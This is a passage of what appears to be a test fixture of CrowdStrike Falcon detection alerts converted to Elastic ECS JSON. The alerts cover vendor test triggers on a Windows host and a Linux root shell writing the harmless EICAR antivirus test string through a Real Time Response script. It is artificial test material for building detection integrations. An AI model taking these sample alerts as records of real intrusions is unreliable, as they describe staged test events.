"Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "10305", + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 50, + "SeverityName": "Medium", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 2021265, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-07-15T10:30:04.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_medium\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744\",\"DataDomains\":\"Endpoint\",\"Description\":\"A medium level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_critical\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"645b4fecb42fb954858850fe127ceb98\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_high\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43447659975,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10305,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43448891811,\"ProcessStartTime\":1752575354,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575404000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021265,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 47, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "645b4fecb42fb954858850fe127ceb98", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "name": "dave-win10-3" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "cmd", + "crowdstrike_test_medium" + ], + "command_line": "cmd crowdstrike_test_medium", + "entity_id": "43448891811", + "executable": "cmd", + "name": "cmd.exe", + "parent": { + "args": [ + "cmd", + "crowdstrike_test_high" + ], + "command_line": "cmd crowdstrike_test_high", + "entity_id": "43447659975", + "executable": "cmd", + "pid": 43447659975 + }, + "pid": 43448891811, + "start": "2025-07-15T10:29:14.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", + "645b4fecb42fb954858850fe127ceb98" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "name": "Suspicious Activity" + }, + "source": { + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Falcon Overwatch" + ] + }, + "technique": { + "name": [ + "Malicious Activity" + ] + } + }, + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2025-07-15T10:29:44.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42950506623", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448", + "DataDomains": "Endpoint", + "Description": "For evaluation only - benign, no action needed.", + "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", + "GrandparentImageFileName": "explorer.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "cmd.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "10197", + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 30, + "SeverityName": "Low", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 2021264, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-07-15T10:29:44.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42950506623\",\"CommandLine\":\"choice /m crowdstrike_sample_detection\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448\",\"DataDomains\":\"Endpoint\",\"Description\":\"For evaluation only - benign, no action needed.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"ce0219f7ab9077db1c089a48eaa82eb1\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10197,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43438097407,\"ProcessStartTime\":1752575318,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575384000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021264,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "ce0219f7ab9077db1c089a48eaa82eb1", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930" + }, + "name": "choice.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe" + }, + "host": { + "domain": "dave-win10-3", + "name": "dave-win10-3" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "choice", + "/m", + "crowdstrike_sample_detection" + ], + "command_line": "choice /m crowdstrike_sample_detection", + "entity_id": "43438097407", + "executable": "choice", + "name": "choice.exe", + "parent": { + "args": [ + "\"C:\\Windows\\system32\\cmd.exe\"" + ], + "command_line": "\"C:\\Windows\\system32\\cmd.exe\"", + "entity_id": "43425257674", + "executable": "\"C:\\Windows\\system32\\cmd.exe\"", + "pid": 43425257674 + }, + "pid": 43438097407, + "start": "2025-07-15T10:28:38.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930", + "ce0219f7ab9077db1c089a48eaa82eb1" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "name": "Suspicious Activity" + }, + "source": { + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Malware" + ] + }, + "technique": { + "name": [ + "Malicious File" + ] + } + }, + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2025-07-03T09:09:29.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088", + "DataDomains": "Endpoint", + "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.", + "GrandparentCommandLine": "falcon-sensor-bpf", + "GrandparentImageFileName": "falcon-sensor-bpf17804", + "GrandparentImageFilePath": "/opt/CrowdStrike/falcon-sensor-bpf17804", + "HostGroups": [ + "5b2e67ccb1de4ac0b1c49225c8fcb132" + ], + "MACAddress": "52-54-00-58-b6-5e", + "Objective": "Follow Through", + "ParentImageFileName": "bash", + "ParentImageFilePath": "/usr/bin/bash", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "30195", + "PlatformId": "3", + "PlatformName": "Linux", + "SensorId": "1d58fa2265b540b79cd057e8fa798e4d", + "Severity": 10, + "SeverityName": "Informational", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 1962865, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-07-03T09:09:29.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"1d58fa2265b540b79cd057e8fa798e4d\",\"AggregateId\":\"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364\",\"CommandLine\":\"/bin/bash -c printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com /bin/bash\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"bash\",\"FilePath\":\"/usr/bin/bash\",\"GrandParentCommandLine\":\"falcon-sensor-bpf\",\"GrandParentImageFileName\":\"falcon-sensor-bpf17804\",\"GrandParentImageFilePath\":\"/opt/CrowdStrike/falcon-sensor-bpf17804\",\"HostGroups\":\"5b2e67ccb1de4ac0b1c49225c8fcb132\",\"Hostname\":\"cs-elastic\",\"LocalIP\":\"192.168.64.5\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"52-54-00-58-b6-5e\",\"MD5String\":\"21cdb844225f8dc4ea6e9f80f9940a2b\",\"Name\":\"Attacker Methodology\",\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"/bin/bash --noprofile --norc -c #!/bin/bash\\n# SYNOPSIS\\n# Run a bash script with specified command line and timeout\\n# DESCRIPTION\\n# CrowdStrike Real Time Response command\\n# PARAMETER WD\\n# Current working directory\\n# PARAMETER Param1\\n# Script body - Required\\n# PARAMETER Param2\\n# Command line sent to script\\n# PARAMETER Param3\\n# Local path - path to local file to be used as script body\\n# PARAMETER Param4\\n# Timeout in seconds\\n# NOTES\\n# File Name : runscript.sh\\n# Contact : support@crowdstrike.com\\n# Copyright : CrowdStrike 2020\\n# LINK\\n# https://www.crowdstrike.com/\\n\\nset -euo pipefail\\nshopt -s extglob\\n\\ncommand=runscript\\n\\nfunction die\\n{\\n echo \\\"$command: $1\\\" >&2\\n exit 1\\n}\\n\\nfunction err_handler()\\n{\\n # Rewrite the error message to remove the internal command prefix\\n echo \\\"$command:${1#*cat:}\\\" >&2\\n}\\ntrap 'err_handler \\\"$script\\\"' ERR\\n\\nfunction get_arg() {\\n eval set -- \\\"$1\\\"\\n echo \\\"$@\\\"\\n}\\n\\nscript=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script=\\\"$1\\\"\\n shift\\nfi\\n\\nscript_args=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script_args=\\\"$1\\\"\\n shift\\nfi\\n\\n# following Windows behavior where HostPath clobbers Raw\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script_path=\\\"$(get_arg \\\"$1\\\")\\\"\\n if [ -n \\\"$script_path\\\" ]; then\\n script=\\\"$(/bin/cat \\\"$script_path\\\" 2>&1)\\\"\\n fi\\n shift\\nfi\\n\\ntimeout=60\\nif [ \\\"$#\\\" -ge 1 ]; then\\n if [ -n \\\"$1\\\" ]; then\\n timeout=\\\"$1\\\"\\n fi\\n shift\\nfi\\n\\nif [ -z \\\"$script\\\" ]; then\\n die \\\"Either -Raw or -HostPath must be specified\\\"\\nfi\\n\\nif [[ \\\"$timeout\\\" =~ .*[^0-9].* ]] || [ \\\"$timeout\\\" -eq 0 ]; then\\n die \\\"Timeout must be a positive integer\\\"\\nfi\\n\\neval set -- \\\"$script_args\\\"\\n/bin/bash -c \\\"$script\\\" /bin/bash \\\"$@\\\" &\\npid=$!\\n\\nfunction get_time()\\n{\\n sed -n '1s/\\\\([0-9]\\\\+\\\\)\\\\.\\\\([0-9][0-9]\\\\).*/\\\\1\\\\2/p' /proc/uptime\\n}\\n\\nstart_time=$(get_time)\\nlast_print_time=$start_time\\nwait_interval=0.1\\nprint_interval=5\\nresolution=100\\nwhile kill -0 $pid 2> /dev/null ; do\\n current_time=$(get_time)\\n if ((current_time - start_time >= timeout*resolution)); then\\n kill -9 $pid >/dev/null 2>&1\\n echo \\\"$command: Timed out waiting for script to exit\\\" >&2\\n kill -9 -$$ >/dev/null 2>&1\\n fi\\n if ((current_time - last_print_time >= print_interval*resolution)); then\\n printf %b '\\\\xe2\\\\x80\\\\x8b' # hex for unicode '\\\\u200b' for backward compatibility\\n last_print_time=$current_time\\n fi\\n /bin/sleep $wait_interval\\ndone\\n /bin/bash printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com \",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1751532935654264600,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":30195,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1751532935,\"ProcessId\":1751532935660927000,\"ProcessStartTime\":1751532935,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"root\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751533769000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1962865,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "21cdb844225f8dc4ea6e9f80f9940a2b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d" + }, + "name": "bash", + "path": "/usr/bin/bash" + }, + "host": { + "name": "cs-elastic" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "/bin/bash", + "-c", + "printf", + "\"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\"", + ">", + "eicar.com", + "/bin/bash" + ], + "command_line": "/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash", + "end": "2025-07-03T08:55:35.000Z", + "entity_id": "1751532935660927000", + "executable": "/bin/bash", + "name": "bash", + "parent": { + "args": [ + "/bin/bash", + "--noprofile", + "--norc", + "-c", + "#!/bin/bash\n#", + "SYNOPSIS\n#", + "Run", + "a", + "bash", + "script", + "with", + "specified", + "command", + "line", + "and", + "timeout\n#", + "DESCRIPTION\n#", + "CrowdStrike", + "Real", + "Time", + "Response", + "command\n#", + "PARAMETER", + "WD\n#", + "Current", + "working", + "directory\n#", + "PARAMETER", + "Param1\n#", + "Script", + "body", + "-", + "Required\n#", + "PARAMETER", + "Param2\n#", + "Command", + "line", + "sent", + "to", + "script\n#", + "PARAMETER", + "Param3\n#", + "Local", + "path", + "-", + "path", + "to", + "local", + "file", + "to", + "be", + "used", + "as", + "script", + "body\n#", + "PARAMETER", + "Param4\n#", + "Timeout", + "in", + "seconds\n#", + "NOTES\n#", + "File", + "Name", + ":", + "runscript.sh\n#", + "Contact", + ":", + "support@crowdstrike.com\n#", + "Copyright", + ":", + "CrowdStrike", + "2020\n#", + "LINK\n#", + "https://www.crowdstrike.com/\n\nset", + "-euo", + "pipefail\nshopt", + "-s", + "extglob\n\ncommand=runscript\n\nfunction", + "die\n{\n", + "echo", + "\"$command:", + "$1\"", + ">&2\n", + "exit", + "1\n}\n\nfunction", + "err_handler()\n{\n", + "#", + "Rewrite", + "the", + "error", + "message", + "to", + "remove", + "the", + "internal", + "command", + "prefix\n", + "echo", + "\"$command:${1#*cat:}\"", + ">&2\n}\ntrap", + "'err_handler", + "\"$script\"'", + "ERR\n\nfunction", + "get_arg()", + "{\n", + "eval", + "set", + "--", + "\"$1\"\n", + "echo", + "\"$@\"\n}\n\nscript=\nif", + "[", + "\"$#\"", + "-ge", + "1", + "];", + "then\n", + "script=\"$1\"\n", + "shift\nfi\n\nscript_args=\nif", + "[", + "\"$#\"", + "-ge", + "1", + "];", + "then\n", + "script_args=\"$1\"\n", + "shift\nfi\n\n#", + "following", + "Windows", + "behavior", + "where", + "HostPath", + "clobbers", + "Raw\nif", + "[", + "\"$#\"", + "-ge", + "1", + "];", + "then\n", + "script_path=\"$(get_arg", + "\"$1\")\"\n", + "if", + "[", + "-n", + "\"$script_path\"", + "];", + "then\n", + "script=\"$(/bin/cat", + "\"$script_path\"", + "2>&1)\"\n", + "fi\n", + "shift\nfi\n\ntimeout=60\nif", + "[", + "\"$#\"", + "-ge", + "1", + "];", + "then\n", + "if", + "[", + "-n", + "\"$1\"", + "];", + "then\n", + "timeout=\"$1\"\n", + "fi\n", + "shift\nfi\n\nif", + "[", + "-z", + "\"$script\"", + "];", + "then\n", + "die", + "\"Either", + "-Raw", + "or", + "-HostPath", + "must", + "be", + "specified\"\nfi\n\nif", + "[[", + "\"$timeout\"", + "=~", + ".*[^0-9].*", + "]]", + "||", + "[", + "\"$timeout\"", + "-eq", + "0", + "];", + "then\n", + "die", + "\"Timeout", + "must", + "be", + "a", + "positive", + "integer\"\nfi\n\neval", + "set", + "--", + "\"$script_args\"\n/bin/bash", + "-c", + "\"$script\"", + "/bin/bash", + "\"$@\"", + "&\npid=$!\n\nfunction", + "get_time()\n{\n", + "sed", + "-n", + "'1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p'", + "/proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile", + "kill", + "-0", + "$pid", + "2>", + "/dev/null", + ";", + "do\n", + "current_time=$(get_time)\n", + "if", + "((current_time", + "-", + "start_time", + ">=", + "timeout*resolution));", + "then\n", + "kill", + "-9", + "$pid", + ">/dev/null", + "2>&1\n", + "echo", + "\"$command:", + "Timed", + "out", + "waiting", + "for", + "script", + "to", + "exit\"", + ">&2\n", + "kill", + "-9", + "-$$", + ">/dev/null", + "2>&1\n", + "fi\n", + "if", + "((current_time", + "-", + "last_print_time", + ">=", + "print_interval*resolution));", + "then\n", + "printf", + "%b", + "'\\xe2\\x80\\x8b'", + "#", + "hex", + "for", + "unicode", + "'\\u200b'", + "for", + "backward", + "compatibility\n", + "last_print_time=$current_time\n", + "fi\n", + "/bin/sleep", + "$wait_interval\ndone\n", + "/bin/bash", + "printf", + "\"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\"", + ">", + "eicar.com" + ], + "command_line": "/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' 